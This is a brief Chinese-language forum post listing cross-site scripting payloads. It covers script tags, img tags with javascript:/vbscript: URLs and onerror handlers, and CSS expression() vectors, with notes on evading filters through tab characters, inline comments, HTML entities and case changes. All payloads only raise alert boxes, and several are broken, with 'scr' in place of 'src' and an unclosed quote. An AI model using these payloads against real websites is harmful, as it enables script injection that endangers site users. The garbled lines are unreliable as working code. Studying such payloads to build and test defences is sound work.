<script>alert("跨站")</script> (最常用)
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)"
width=150></img> (?用tab键弄出来的空格)
<img scr="#" onerror=alert(/跨站/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
<img scr="#"/* */onerror=alert(/xss/) width=150></img>
(/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
<div style={left:expression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left: 065 078ression (alert('xss'))}></div>
html 实体 <div style={left:&#x0065;xpression
(alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">[/post]